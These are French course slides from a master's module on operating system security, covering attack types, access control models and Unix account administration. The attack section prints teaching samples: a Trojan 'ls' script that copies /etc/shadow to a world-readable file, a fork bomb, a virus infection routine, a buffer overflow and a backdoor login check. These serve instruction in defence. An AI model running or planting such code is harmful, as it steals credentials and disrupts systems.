Université Virtuelle de Tunis Mastère Professionnel en Logiciels Libres
Module : Sécurité des Systèmes d’Exploitation
Dr Mohamed Saïd OUERGHI
1
Module : sécurité des systèmes d’exploitation
Contenu Pédagogique
Dr Ouerghi M. Saïd [email protected]
2
Mastère Professionnel en Logiciel Libre Module : Sécurité des Systèmes d’Exploitation
Objectifs :
L'objectif de ce module est de donner une vision la plus complète possible de la problématique de la sécurité des systèmes d’exploitation et des solutions de type logiciel libre disponibles.
Volume horaire en présentiel :
30 heures (3h x 10 semaines)
Evaluation des connaissances :
Travail personnel : 50% , Examen : 50%
3
Contenu du cours 1- L’essentiel de la sécurité de l’information Vulnérabilité des systèmes informatiques Gestion des risques et pratiques de la sécurité Architectures et standards de sécurité
2- Les attaques et les moyens pour les contrer
Types d’attaques Concrétisation des attaques Propriétés attendues des services de sécurité Politiques de contrôle d’accès et modèles associés Implémentation des services de sécurité
3- Les bases de la sécurité des systèmes d’exploitation
Mécanismes de base pour la sécurité Administration de la sécurité Contrôle et audit de la sécurité
4
Travaux de laboratoire :
1- Mise en œuvre et administration de la sécurité avec
Unix/Linux.
2- Mise en œuvre et administration de la sécurité sous
Microsoft Windows
3- Tests de robustesse des mots de passe (avec l’outil
CRACK ou équivalent)
4- Vérification de l’intégrité des fichiers (avec l’outil
TRIPWIRE ou équivalent)
5- Contrôle de la vulnérabilité des services configurés
(avec l’outil SARA ou équivalent)
6- Mise en œuvre et exploitation d'un détecteur
d’intrusions (avec l’outil SNORT ou équivalent) 7- Découverte d’un environnement inconnu et de ses services (avec l’outil NMAP ou équivalent)
5
Etudes de cas
• Travail en groupe :
Etude de virus en code source (ASM, C ou Pascal).
• Travail personnel :
Etude détaillée des mécanismes de sécurité pour les principaux systèmes d'exploitation du marché : Cartes à puce, PDA, Machines virtuelles (java), OS grand public et/ou professionnels (MS Win, Gnu/Linux, Mac OS-X, xBSD, …), OS de confiance (Trusted Solaris, Linux SE), OS multi-niveaux (CMW, divers MLS).
6
Module : sécurité des systèmes d’exploitation
INTRODUCTION
Dr Ouerghi M. Saïd [email protected]
7
PLAN
TYPES D’ATTAQUES
SERVICES DE SECURITE
SÉCURITÉ LOGIQUE
8
PLAN
ATTAQUES ELECTONIQUES
Types d’attaques Attaques de l’intérieur Attaques de l’extérieur
SERVICES DE SECURITE
SÉCURITÉ LOGIQUE
9
TYPES D’ATTAQUES
Accès
Déni de service
Snooping : espionnage Ecoute (passif) Interception (actif)
Accès à l’information Accès aux applications Accès aux systèmes Accès aux
communications
Modification
Transformation Insertion/Ajout Suppression
Répudiation Mascarade Négation d’un événement
10
TYPES D’ATTAQUES
Info
Info sourc e Flux normal
destinatio n
Interruption
Interception
Modificatio n
Fabrication
11
ATTAQUES DE L’INTERIEUR
TORJAN HORSES
un programme soit-disant innocent comportant du code indésirable
exemple 1 :
un spécial ls et un PATH=./bin:/usr/bin
la recherche des exécutables démarre par le répertoire courant
exemple 2 :
un spécial lq
erreur de frappe : les touches q,s,d alignés sur le clavier azerty
12
ATTAQUES DE L’INTERIEUR
LOGIN SPOOFING un troyen particulier but : récupérer les mots de passe des utilisateurs devant répondre
à la sollicitation du système
login : omsaid password : xxxxxxxx
13
ATTAQUES DE L’INTERIEUR
LOGIC BOMBS
bout de code introduit secrètement dans un logiciel légal en exploitation , et qui se déclenche lorsqu’un événement particulier (mais prévu !) arrive
exemples d’événements :
le 06/11 de chaque année nombre de fichiers ouverts = 17 etc.
14
ATTAQUES DE L’INTERIEUR
BUFFER OVERFLOW
(1) de nombreux compilateurs ne vérifient pas le dépassement
des limites des tableaux
int i; char buff[512] i= 1024; buff[i]= 0; /* !!! */
15
ATTAQUES DE L’INTERIEUR (2) de nombreux fonctions de copie de chaîne de caractères ne vérifient
pas la taille des données à copier
void pb(char *str) { char s[8];
strcpy(s, str);
/* pile =<s, str, @retour>
puisque les 64 octets sont copiés dans s, ces données écrasent une partie de la pile */
} main(void) { char ch[64]; int i;
for(i=0; i<63; i++) ch[i]=’a’; pb(ch);
}
16
ATTAQUES DE L’INTERIEUR
TRAP DOORS
code inséré par le programmeur pour atteindre un système sans les vérifications habituelles
while(1) {
printf(" login :"); getstring(nom); system( "stty -echo "); printf( "password : "); getstring(motpasse); system("stty echo "); v=valide(nom, motpasse); if (v) break; }
/* if(v || strcmp(nom, "oms")==0) break; */
executeshell(nom);
17
ATTAQUES DE L’EXTERIEUR
1) Attaques frontales
2) Denis de services (simple, par
rebond, mutualisée, ..)
Internet
Firewall
Réseau interne
3) Code mobile : cookies, scripts
Java, ActiveX, macros VB, ...
4) Sites, email, fichiers et archives
non sûrs (untrusted)
5) etc.
18
ATTAQUES DE L’EXTERIEUR
BRUT FORCE ATTACK
attaque frontale en essayant des mots de passe après avoir : - scanné un domaine, - repéré une victime, - découvert ses ports ouverts, - pris une empreinte de son système d’exploitation
19
ATTAQUES DE L’EXTERIEUR
DENIS DE SERVICE
Objectifs :
- Consommer les ressources (bande passante, CPU, mémoire,
etc) pour rendre le service lent ou indisponible :
- Rendre le service inopérant en exploitant (continuellement)
une faille dans le réseau, le système, le service ou l’application ou en détruisant des informations
20
ATTAQUES DE L’EXTERIEUR
Architecture d’attaque simple
Attaquant
Hôte compromis
Victime
Tiers non impliqués
21
ATTAQUES DE L’EXTERIEUR
Architecture d’attaque amplifiée
Attaquant
Victime
Ensemble amplificateur
Hôte compromis
22
ATTAQUES DE L’EXTERIEUR
Architecture d’attaque mutualisée
Attaquant
Agent maître
Victime(s)
Ensemble d’agents esclaves
Hôte compromis
Tiers non impliqués 23
ATTAQUES DE L’EXTERIEUR
CODE MOBILE
agents - applets - cookies- …
téléchargés à partir d’Internet de façon inconsciente !
Mais aussi des postscript !!!
puisqu’actuellement ce sont des programmes écrits dans un langage de programmation (le postscript)
24
ATTAQUES DE L’EXTERIEUR
VIRUS- VER- BACTERIE- ...
code maléfique se multipliant de lui-même pour infecter des hôtes et pouvant se propager sur un réseau sans mécanismes de déclenchement particulier
a besoin se copie de l ’hôte non oui non
oui oui oui
bactérie virus ver
malveillants non oui
actes attaque réseau non non oui
peut-être
25
ATTAQUES DE L’EXTERIEUR
Effet ?!
« GREETINGS FROM CRYPTUS ! TO PURSHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL, UNMARKED BILLS TO :
BOX 7 - KRAM 2015TN
THANK YOU, WE APPRECIATE YOUR BUSINESS. »
Autre effet ?!
Actions réalisés par le code :
main( void ) { while(1)
fork();
}
26
ATTAQUES DE L’EXTERIEUR
Logique d’infection ?
Recherche(char *dirname) { DIR *rep; struct dirent *dp;
rep=pendir(dirname); if (rep==NULL) return; while(1) {
dp=readdir(rep); if (dp==NULL) {chdir(".."); break; } if (dp->d_name[0]==’. ’) continue; lstat(dp->d_name, &buf); if (S_ISLNK(buf.st_mode)) continue; if (chdir(dp->d_name)==0) Recherche("."); else if (access(dp->d_name, X_OK)==0) infecter(dp->d_name); close(rep);
}
27
ATTAQUES DE L’EXTERIEUR
Formes d’attachement d’un virus à un exécutable
Prog exéc.
origin e
entête
Image d’un fichier exécutable
Prog exéc.
virus
entête
virus
Prog exéc.
entête
Prog
virus
exéc.
virus
entête
forme1
forme2
forme3
28
ATTAQUES DE L’EXTERIEUR
Autres formes complexes ?
V
X
X
Taille
Différence de taille !
Libre
Virus
décompress
compress
Prog exéc.
entête
forme1
Libre
Virus chiffré
compress +décompres s
clé+ code+ décode Prog exéc.
entête
forme2 a
forme2b = forme2a +cryptage du virus , clé, code, compress, et décompress
29
ATTAQUES DE L’EXTERIEUR
Code polymorphe ?
code initial MOV a,R1
ADD b,R1
ADD c,R1
SUB #4,R1
MOV R1,x
code 1 MOV a,R1 NOP ADD b,R1 NOP ADD c,R1 NOP SUB #4,R1 NOP MOV R1,x
x:= a+b+c-4;
code 2 MOV a,R1 ADD #0,R1 ADD b,R1 OR R1,R1 ADD c,R1 SHL #0,R1 SUB #4,R1 JMP *+1 MOV R1,x
code 3 MOV a,R1 OR R1,R1 ADD b,R1 MOV R1,R5 ADD c,R1 SHL #0,R1 SUB #4,R1 ADD R5,R5 MOV R1,x MOV R5,y
code 4 MOV a,R1 TST R1 ADD b,R1 MOV R1,R5 ADD c,R1 CMP R2,R5 SUB #4,R1 JMP *+1 MOV R1,x MOV R5,y
30
PLAN
TYPES D’ATTAQUES
Publicité
SERVICES DE SECURITE
Confidentialité Intégrité Disponibilité Responsabilités
SÉCURITÉ LOGIQUE
31
CONFIDENTIALITE
Définition
L’information est tenue secrète et seuls les sujets autorisés peuvent y accéder
A garantir pour les données :
sauvegardées sur des fichiers traitées par des applications acheminées sur le réseau
32
INTEGRITE
Définition :
L’information est modifiable uniquement par l’action volontaire d’un sujet autorisé
Concerne : - les fichiers - les transmissions
33
DISPONIBILITE
Définition :
Le système doit être disponible à tout moment, aucun déni ou aucune dégradation de service
Etendue :
- sauvegardes - tolérances aux pannes - reprises d’activités
34
RESPONSABILITE
Définition :
Les sujets sont contrôlés et les ressources du système sont surveillés afin d’établir un QQOQC et expliquer le pourquoi
Domaines ciblés
- identification & authentification - comptabilité ressource et audit
35
RISQUES & PROPRIETES CID
Usurpation d'identité R01 : Usurpation frauduleuse d'identité de l'utilisateur R02 : Usurpation frauduleuse d'identité du client R03 : Usurpation frauduleuse d'identité du serveur R04 : Usurpation de l'administration R05 : Utilisation d'un dialogue non terminé R06 : Reprise d'un dialogue sur anomalie
D I C
* * * * * * * * * * * * * * * * * *
36
RISQUES & PROPRIETES CID
Modifications illicites ou erronées R11 : Abus de droit par un utilisateur autorisé R12 : Modification du logiciel applicatif R13 : Modification du système d'exploitation ou des
progiciels
R14 : Modification des données en mémoire vive R15 : Modification des données stockées dans
les mémoires de masse R16 : Modification des tables de routage R17 : Rejeu d'informations R18 : Utilisation illicite d'une application ou
d'un progiciel
D I C
* * * * * *
* * * * * *
* * * * * * * * *
* * *
37
RISQUES & PROPRIETES CID
Lecture ou récupération d'informations confidentielles R21 : Lecture des données en mémoire vive R22 : Lecture des données stockées dans les
mémoires de masse
R23 : Récupération d'information dans les résidus ou
des fichiers temporaires
R24 : Capture d'informations saisies au clavier R25 : Capture d'information sur le réseau R26 : Ecoute du trafic réseau R27 : Déduction d'informations par inférence
D I C
*
*
*
* * *
*
38
RISQUES & PROPRIETES CID
Infections informatiques R31 : Porte dérobée R32 : Bombe logique R33 : Virus R34 : Ver
Intégrité R41 : Perte d'une information R42 : Perte de cohérence des données R43 : Ordre de mise à jour réémis et pris en compte
D I C
* * * * * * *
* * * *
39
RISQUES & PROPRIETES CID
Répudiation R51 : Répudiation des requêtes par le client R52 : Répudiation de sa réponse par le serveur
Intrusion sur le réseau R61 : Intrusion sur le réseau à partir d'un accès externe R62 : Intrusion sur le réseau à partir d'un accès interne
D I C
* *
* * * * * *
40
PLAN
TYPES D’ATTAQUES
SERVICES DE SECURITE
SÉCURITÉ LOGIQUE
Contrôle d’accès Chiffrement Camouflage
41
SERVICES DE SECURITE Site A
Site B
v
DATA
v
PROCESSES
GUARD
v
v
1- Contrôle d’accès 2- Sécurité des fichiers 3- Sécurité réseau 4- Authentification
42
CONTRÔLE D ’ACCES
Matrice d’accès
Objet
Sujet …. …. Utilisateur k
....
… Fichier x …
Read Write
43
CONTRÔLE D ’ACCES
Liste de contrôle d’accès (ACL) = colonnes de la matrice d’accès
Fichier x
k
Read
Write
Utilisateur k Read
Write
...
44
CONTRÔLE D ’ACCES
Liste des capacités (CL)
= lignes de la matrice d’accès
Utilisateur k
Read
Write
...
Fichier x
Read
Write
45
CHIFFREMENT
Solution pour gérer la confidentialité
idée : partager un secret (algorithme ou clé)
chiffrer
ceci est un secret
texte en clair
45 eci e42scv vfxb44
texte chiffré
déchiffrer
ceci est un secret
texte en clair
46
CHIFFREMENT
Solution pour gérer l’authentification des
utilisateurs idée : utiliser une bi-clés une privée et une publique
47
CHIFFREMENT
Solution pour l’intégrité des données
idée : calculer un condensé (signature numérique)
48
CHIFFREMENT
Remarques :
le chiffrement ne doit pas correspondre à chaque
fois à deux fonctions : crypter + décrypter
la mise en œuvre peut nécessiter une tierce
personne de confiance (notaire - juge - arbitre)
les clés de chiffrements peuvent être jetables (clé
de session par exemple)
49
CHIFFREMENT
Étape 0
GdsC0k/
chiffrer
Mot de passe
sauve r
14opuP. a
Étapes suivantes
Fichier des mots de passe chiffrés
GdsC0k/
chiffrer
Mot de passe
14opuP. a
extrair e 14opuP. a
égalité ?
ok
stop !!!
Chiffrement des mots de passe
50
CHIFFREMENT
OTP (One Time Pad)
masque = suite très longue, non répétitive et
aléatoire de caractères formant un bloc
exemple d’algo. de chiffrement :
ord(TexteClair[i]) + ord(MasqueJetable[i]) mod 26
texte en clair : MASQUEJETABLE
masque OTP1 : TBFRGFARFMIKL texte chiffré : GCYIBKKWZNKWQ
masque OTP2 : RXDCXFHVQBYRX texte chiffré : OEUFDECAILLES
51
CAMOUFLAGE
Stéganographie (mise en route de canaux cachés) idée : camoufler le texte en clair dans un autre document
par exemple une image
texte en clair
Image
Image modifiée
texte en clair
52
Module : sécurité des systèmes d’exploitation
OS et SÉCURITÉ
Dr Ouerghi M. Saïd [email protected]
53
PLAN
OS et mécanismes de base
• Gestion des utilisateurs • Génération des événements • Accès aux ressources
OS & Sécurisation réseau • Services réseau • Filtres réseau
54
Partie 1 :
OS & mécanismes de base
55
GESTION DES UTILISATEURS
Accès au système
- Géré par le système d’exploitation - Autorisation unitaire
1 accès = 1 ressource Presque obsolète - Autorisation globale
1 accès = plusieurs ressources Notion de domaines (NIS+, Netbios, ... )
56
GESTION DES UTILISATEURS
Droits des utilisateurs
- Autorisation d'accès aux données
• Lecture, écriture. etc.
- Droits sur le système
• Accès aux ressources • Installation, utilisation de binaires • Etablissement de connexions depuis le système
57
GÉNÉRATION DES ÉVÉNEMENTS
Evénements système
- Critiques - Type d'information
• Accès (succès, échec) • Erreurs (système, applicalifs) • Evénements réseau (filtrage) • Lancement, arrêt (applications, services) • Modification de la politique de sécurité • Modification, effacement des logs
58
GÉNÉRATION DES ÉVÉNEMENTS
Gestion des fichiers de logs
- Enregistrement de l'ensemble des événements systèmes - Information sensible • Doit être protégé • Vérification de l ’intégrité • Besoins de rotation et d'exploitation • Chiffrement
59
ACCÈS AUX RESSOURCES
Accès au disque dur
- Données stockées
• Confidentialité et intégrité • Gestion des session (côté client) • Protection contre le stockage pirate
- Zone de swap
• Identique mémoire
- Core
• Information sur les processus
60
ACCÈS AUX RESSOURCES
Protection de la mémoire
- Données stockées
• Confidentialité et intégrité • Données d ’authentification • Gestion des sessions
- Données partagées
• Idem entre applicatifs
61
ACCÈS AUX RESSOURCES
Communications inter-processus
- Protection des données - Intégrité du fonctionnement - Local
• Pipes et autres fichiers d'échange
- Distant
• Sockets réseau • Bus logiciels
62
Partie 2 :
OS & Sécurisation réseau
63
SERVICES RÉSEAU
Rôle de la pile IP
- Gestion des communications
• Etablir les communications via TCP/IP • “Traduction” des protocoles • Transmission aux applications
- Pas de notion de sécurité
• A l'origine • Mise en place a posteriori
64
SERVICES RÉSEAU
Sécurisation des services réseau
- Restriction d'accès aux ressources
• Protocoles • Adresses • Serveurs - Désactivation
• Principe de précaution
- Protège
• Des utilisations “illicite ” • Des opérations de contournement des autorisations
65
FILTRES RÉSEAU
Filtrage par wrappers
- Principe :
Publicité
• Interception des données entre 2 processus • Analyse des données interceptées • Application de la politique de filtrage • Transmission au processus cible
- Exemples :
• TCP Wrappers • Filtres ISAPI
66
FILTRES RÉSEAU
Filtrage de paquets
- Principe
• Réception d'un paquet • Analyse des en-têtes IP / TCP ; UDP • Application d'une politique de filtrage • Transmission du paquet
- Exemples
• IPChains, • Filtres IPSec
67
Module : sécurité des systèmes d’exploitation
ADMINISTRER LA SÉCURITÉ
Dr Ouerghi M. Saïd [email protected]
68
PLAN
un peu de théorie
un peu de pratique
69
PLAN
un peu de théorie
• Exigences du métier • De la gestion quotidienne • Politique de sécurité • Sécuriser chaque poste de travail • Sécuriser son réseau
un peu de pratique
70
EXIGENCES DU MÉTIER
• Connaissance des systèmes Windows, Unix/Linux.
• Connaissance des serveurs dangereux potentiels
et les nouveaux serveurs (être au courant et rester vigilant)
• Connaissance des problèmes de virus, des techniques
d’attaques
71
EXIGENCES DU MÉTIER
• Se mettre au courant de l'état de l'art, des nouveautés techniques (y compris la cryptographie), juridiques…
• Etre un peu perceur (de mots de passe, ...)
• Etre un peu voyeur (pour contrôler ce qui se passe sur
son système informatique)
72
POLITIQUE DE SECURITE
Administrateur sécurité
But politique sécurité
Maintenir effectivement une politique de sécurité
• Hiérarchiser les systèmes à sécuriser • Sensibiliser les utilisateurs • Diffuser la politique de sauvegarde/restauration • Impliquer la hiérarchie
73
DE LA GESTION QUOTIDIENNE
•Surveiller les postes de travail (ralentissement des
process, de 1'affichage, ...)
• Faire le ménage, défragmenter les disques durs,
les supports, …
• Enlever les cookies et autres logiciels douteux
74
DE LA GESTION QUOTIDIENNE
• Surveiller les FSI vis-à-vis de leurs techniques,
nouveautés concernant les services, leurs offres, leurs sites attaqués, …
• SLA (Service Level Agreement) avec les opérateurs
(VPN, Réseaux Modems, opérateur national)
• Contact avec un fournisseur compétent d’antivirus
75
SÉCURISER CHAQUE POSTE DE TRAVAIL
• Enlever sur les PCs sous Windows le partage des fichiers et/ou imprimantes
• Enlever également 1'installation ou exécuter le choix “ demande/Autorisation ”
• Désactiver les permissions de Java, Active X (appliquer la politique de niveau de service et de sécurité)
76
SÉCURISER SON RÉSEAU
• Rechercher les trous de sécurité des serveurs mis à
disposition (par exemple avec COPS, Nessus ou SARA)
• Faire cracker les systèmes par des perceurs de mots
de passe tel que : LOphtCrack, ScanNT ou John The Ripper
77
SÉCURISER SON RÉSEAU
• Sniffer soi même avant les autres, ainsi on récupère les informations sur le réseau et sur les machines distantes.
• Auditer les processus de journalisation et analyser les journaux pour contrôler :
- les tentatives de login et d'accès aux fichiers
échouées
- les vérifications CRC sur les importants fichiers
binaires
- etc.
78
PLAN
un peu de théorie
un peu de pratique • Mots de passe • Administration des comptes • Shell & shell restreint • Super-utilisateur
79
MOTS DE PASSE
Confidentialité des mots de passe utilisateur
Choix d’un mot de passe sûr
• Ne pas utiliser des noms communs, de famille, des nombres (même inversés) • Ne pas se contenter de 6 caractères • Mélanger majuscules, minuscules, chiffres et caractères spéciaux • Attention aux mots de passe trop longs et au shoulder surfing • Utiliser la méthode mnémonique de la phrase
80
MOTS DE PASSE
Préemption et expiration du mot de passe
• Changer ceux des utilisateurs uniquement par nécessité • Changer celui du super-utilisateur fréquemment • Fixer des dates d’expiration pour les comptes provisoires
Génération automatique des mots de passe
Recours aux logiciels de tests/qualification de mots
de passe
81
MOTS DE PASSE
Le fichier /etc/passwd
• Consultable par tout le monde • Contient des informations sensibles sur les utilisateurs
Le fichier/etc/shadow
• Consultable uniquement par le super-utilisateur • Contient les mots de passe cryptés et les paramètres
d’expiration
• Ne doit jamais être copié
82
MOTS DE PASSE
La commande passwd
• Contraintes pour l’utilisateur basique et nécessité de fournir l’ancien mot de passe • Existence d’options pour paramétrer l’expiration et le vieillissement • Paramètres par défaut dans /etc/default/passwd
Comptes sans mots de passe à interdire pour des
sessions interactives
83
ADMINISTRATION SECURISEE DES COMPTES
Se souvenir que les comptes en sommeil sont les
cibles privilégiées des pirates
Utiliser les commandes pour
• Désactiver temporairement les comptes des
utilisateurs absents
• Modifier les paramètres des comptes utilisateurs (expiration de compte, obligation de changer son mot de passe, …) • Rechercher la duplication de « User IDs » lorsque la gestion des comptes est manuelle
84
ADMINISTRATION SECURISEE DES COMPTES
Comptes « invité »
• Ne pas en créer si possible • Isoler le système ou la partition hébergeant l’invité • Si le compte doit être sur le réseau, utiliser un shell restreint avec un accès strictement limité aux programmes utiles • Expirer le compte dès que possible • A n’utiliser que pour les utilisateurs douteux
85
SHELL & SHELL RESTREINT
Contrôler les fichiers de démarrage et les répertoires
accessibles via la variable PATH
• L’ordre des déclarations des chemins pour rechercher
les programmes à exécuter est important
• Attention aux chevaux de Troie
$ cat /home/omsaid/ls #!/bin/sh cp /etc/shadow /tmp/.shadow chmod 777 /tmp/.shadow rm -f /home/omsaid/ls /bin/ls
86
SHELL & SHELL RESTREINT
Shell restreint
= accès limité au strict nécessaire pour
les utilisateurs suspects
= Configuration
• Créer un compte normal, mais offrir comme interpréteur de commandes /usr/bin/rsh •Créer et maintenir un environnement de travail restreint • Ne pas accepter de mettre à disposition des programmes avec le SUID positionné sans les avoir testés
87
SUPER-UTILISATEUR
Super-Utilisateur (root) = des droits étendus
Recommandations :
• Se connecter d’abord comme utilisateur basique puis utiliser la commande su • Envisager un accès restreint à la commande su en limitant ses droits d’exécution • Restreindre les accès super-utilisateur à partir de certains terminaux réputés sécurisés et définis dans /etc/securetty
88
SUPER-UTILISATEUR
La commande su
• Changer son EUID y compris pour root • Limiter son utilisation à un groupe spécial à créer sous /etc/group • A lancer (comme pour la plupart des commandes) en explicitant son chemin complet
Les fichiers en rapport avec la commande su • Audit par défaut dans /var/adm/sulog • Paramétrage dans /etc/default/su
89
Module : sécurité des systèmes d’exploitation
MECANISMES DE CONTRÔLE D ’ACCES
Dr Ouerghi M. Saïd [email protected]
90
PLAN
I- INTRODUCTION
II- MODELES DE CONTRÔLE D’ACCES
Discretionnary Access Control
Mandatory Access Control
Role Based Access Control
Domain and Type Enforcement
91
PLAN
I- INTRODUCTION
II- MODELES DE CONTRÔLE D’ACCES
Discretionnary Access Control
Mandatory Access Control
Role Based Access Control
Domain and Type Enforcement
92
INTRODUCTION
accès = un sujet actif essaie d'accéder à un objet passif grâce
une requête (opération) d ’accès
contrôle d’accès = moyennant un arbitre de référence accorde
ou nie l’accès demandé.
• Exemple de sujets : usagers, processus, ... • Exemple d'objets : fichiers, sockets, ressources, … • Exemple d ’accès : lire, modifier, détruire, ...
93
INTRODUCTION
• La notion de sujet et d'objet n'est pas statique. Le sujet d'une opération peut très bien devenir l'objet d'une autre opération.
• Ces deux notions nous offrent deux options de contrôle d'accès : – Spécifier ce qu'un sujet a la permission de faire – Spécifier ce qui peut être fait avec un objet
94
INTRODUCTION
OBJECTS
Fichier 1
Fichier 2
Read Write Own
S U J E T S
adm
oms
Read
Read Write Own
ACTION
95
INTRODUCTION
Permission
S U J E T
avoir
avoir
avoir
réaliser
agir sur
OBJET
Interdiction
ACTION
réaliser
Obligation
réaliser
agir sur
Ensemble d’OBJETs
96
INTRODUCTION
97
INTRODUCTION
Closed system (minimum privilege)
Open System (maximum privilege)
Access requ.
Access requ.
Allowed accesses
Exists Rule?
yes
no
Exists Rule?
no
yes
Disallowed accesses
Access permitted
Access denied
Access permitted
Access denied
98
INTRODUCTION
All accesses
Discretionary AC
Mandatory AC
Role-Based AC
99
PLAN
I- INTRODUCTION
II- MODELES DE CONTRÔLE D’ACCES
Discretionnary Access Control (DAC)
Mandatory Access Control
Role Based Access Control
Domain and Type Enforcement
100
DAC : Contrôle d’accès discrétionnaire
La protection de sécurité discrétionnaire (classe C1)
Le DAC est très largement utilisé dans les systèmes
Unix
Le contrôle d’accès est basé sur
L’utilisateur propriétaire (UID)
Les membres du groupe (GID)
Les autres
101
DAC : Contrôle d’accès discrétionnaire
Unix/Linux gère trois types d’utilisateurs
root :
le super-utilisateur possède un contrôle total sur le système
utilisateurs normaux :
ils peuvent se connecter (login) au système, ils ont un contrôle total des fichiers sous leur répertoire. Tout autre accès est restreint
utilisateurs systèmes :
ils sont réservés pour l’exécution des processus systèmes
102
DAC : Contrôle d’accès discrétionnaire
Unix/Linux gère trois types d’accès :
r w x
read write execute
Les programmes SETUID sont exécutés avec les privilèges
Publicité
de l’utilisateur propriétaire
Les programmes SETGID sont exécutés avec les privilèges
du goupe propriétaire
103
DAC : Contrôle d’accès discrétionnaire
-rw-r--r-- 1 toto users 188756 Nov 11 10:05 toto.txt
-
rw-
r--
r--
Type de fichier Permission
du propriétaire
Permission du groupe
Permission des autres
Le propriétaire d’un objet a tous les droits sur cet objet
104
PLAN
I- INTRODUCTION
II- MODELES DE CONTRÔLE D’ACCES
Discretionnary Access Control
Mandatory Access Control (MAC)
Role Based Access Control
Domain and Type Enforcement
105
MAC : Contrôle d’accès obligatoire
Le contrôle d’accès obligatoire est basé sur :
Un ensemble de règles
Des attributs de sécurité du sujet
Des attributs de sécurité de l’objet
Plusieurs modèles de sécurité MAC : BLP, Biba
106
MAC : Contrôle d’accès obligatoire
Un ensemble de sujets S
utilisateurs, processus,…
Un ensemble d’objets O
fichier, répertoires, programmes,…
Un ensemble d’opérations d’accès A exécution, lecture, écriture, ajout
Un ensemble de niveau de sécurité L
une relation d’ordre partiel est définie sur cet ensemble
107
MAC : Contrôle d’accès obligatoire
Le niveau de sécurité d’un sujet
définit les droits d’accès (autorisation) qui lui sont accordés
Le niveau de sécurité d’un objet
définit le degré de protection (classification) requis
Le droit d’accès à un objet est permis/refusé selon :
- le type de l’opération demandée, - la classification de l’objet, et - les autorisations accordées au sujet
108
MAC : Contrôle d’accès obligatoire
Définition d ’une un relation d'ordre dans les niveaux de sécurité grâce à un ordre total (linéaire) :
109
MAC : Contrôle d’accès obligatoire
Définition d’une un relation d'ordre dans les niveaux de sécurité grâce à un ordre partiel (ex: habiletés = relation de dominance)
110
MAC : Contrôle d’accès obligatoire
Classes de sécurité (labels):
A – classification des objets : confidentiel > public C – ensemble des catégories d’utilisateurs = {etud-info, dept-info}
(confidentiel,{etud-info,dept-info})
(confidentiel,{etud-info})
(confidentiel,{dept-info})
(confidential,{ })
(public,{etud-info})
(public,{,dept-info})
(public,{etud-info,dept-info})
(public,{ })
111
MAC : Contrôle d’accès obligatoire
Le MAC limite les privilèges accordés aux utilisateurs
et aux processus
Le propriétaire d’un objet n’a pas tous les droits sur cet objet
Les privilèges et les droits d’accès sont attribués selon une politique de sécurité définie par l’administrateur système
Le MAC introduit plus de complexité au système mais
augmente le niveau de sécurité
112
MAC : Contrôle d’accès obligatoire
Contrôle d ’accès et confidentialité (BLP)
113
MAC : Contrôle d’accès obligatoire
Contrôle d ’accès et intégrité (Biba)
114
PLAN
I- INTRODUCTION
II- MODELES DE CONTRÔLE D’ACCES
Discretionnary Access Control
Mandatory Access Control
Role Based Access Control (RBAC)
Domain and Type Enforcement
115
RBAC : Contrôle d’accès associé à un rôle
Un ensemble de permissions associé à un rôle
Un ensemble d’utilisateurs associé à un rôle
RBAC satisfait les principes de sécurité suivants :
Principe du moindre privilège
Séparation des tâches
Abstraction des données
116
RBAC : Contrôle d’accès associé à un rôle
RBAC définit une politique de sécurité
mais ne permet pas la mise en oeuvre de cette politique
RBAC peut être intégré avec le MAC, le DAC ou le DTE
(ex: SELinux)
allow system_r sysadm_r;
allow sysadm_r httpd_adm_r;
role httpd_adm_r types httpd_t;
117
PLAN
I- INTRODUCTION
II- MODELES DE CONTRÔLE D’ACCES
Discretionnary Access Control
Mandatory Access Control
Role Based Access Control
Domain and Type Enforcement (DTE)
118
DTE : Domain and Type Enforcement
Un Domaine est attribué à chaque processus
Un Type est attribué à chaque objet (fichier, socket,…)
Le modèle DTE définit deux matrices :
- Une matrice des droits d’accès aux Types par
les Domaines
- Une matrice pour les interactions entre les différents Domaines
119
Module : sécurité des systèmes d’exploitation
GESTION DES UTILISATEURS
Dr Ouerghi M. Saïd [email protected]
120
PLAN
1- COMPTES UTILISATEURS
2- COMMANDES DE GESTION
3- SECURITE DES CONNEXIONS
4- CONFIGURATION DE SESSIONS
121
COMPTES UTILISATEURS
- Structure du fichier /etc/passwd
Nom : passe : UID : GID : Commentaire : Home : Cmd
UID: 0..UID_MAX (constante dans /etc/login.defs)
attribué par root dont UID=0
- Structure du fichier /etc/group
Nom : passe : GID : liste utilisateurs
122
COMPTES UTILISATEURS
- Structure du fichier /etc/shadow
Nom : passe : combien : modif1 : modif2 : expir1 : expir2 : date : réservé
combien
: nbre de jour entre 01/1970 et date dernière modification
modif1
: nbre min. de jours entre deux modification
modif2
: nbre max. de jours pour obliger une modification
expir1
expir2
date
: nbre de jours avant avertissement de l’expiration
: nbre de jours avant verrouillage de compte expiré
: exprimée en nbre de jours depuis 01/1970 pour expiration
réservé
: pour de nouvelles fonctionnalités
123
COMMANDES DE GESTION
- gestion comptes utilisateur
useradd, usermod, userdel
- gestion comptes de groupe
groupadd, groupmod, groupdel
- vérification des fichiers /etc/passwd et /etc/group
pwck, grpck
124
COMMANDES DE GESTION
- autres commandes concernant les utilisateurs
finger, users, id, chfn, chsh
- autres commandes concernant les groupes
groups
- autres commandes concernant /etc/passwd et /etc/group
vipw, vigr
125
COMMANDES DE GESTION
- autres commandes
who, w : listes concernant les connexions
passwd, chage : relatifs aux mots de passe
126
COMMANDES DE GESTION
- Exemple de création d’un compte utilisateur :
useradd
-c ouerghi -d /home/omsaid -g oms -u 500 -s /bin/sh -m -k /etc/skel omsaid
127
COMMANDES DE GESTION
- Exemples de modification des attributs d’un compte :
• Afficher les attributs du mot de passe d ’un compte
#chage -l omsaid
• Forcer le changement du mot de passe tous les 15 jours et le prévenir de cela 3 jours avant
chage -M 15 -W 3 omsaid
• Fixer la date d’expiration d’un mot de passe
#chage -E 2004/09/03 omsaid
128
COMMANDES DE GESTION
- autres exemples :
• verrouillage d’un compte
passwd -l omsaid
• déverrouillage d ’un compte
passwd -u omsaid
129
SECURITE DES CONNEXIONS
- Connexion et shell :
130
SECURITE DES CONNEXIONS
- Fichiers importants :
• /etc/nologin
son existence interdit la connexion des utilisateurs mis à par l ’administrateur root
• /etc/securetty
indique les terminaux où root peut se connecter
• /etc/usertty
restreindre la connexion des utilisateurs à travers la commande login
131
SECURITE DES CONNEXIONS
- Fichiers importants :
•/etc/login.defs
contient les paramètres généraux du password aging
• /etc/log/secure
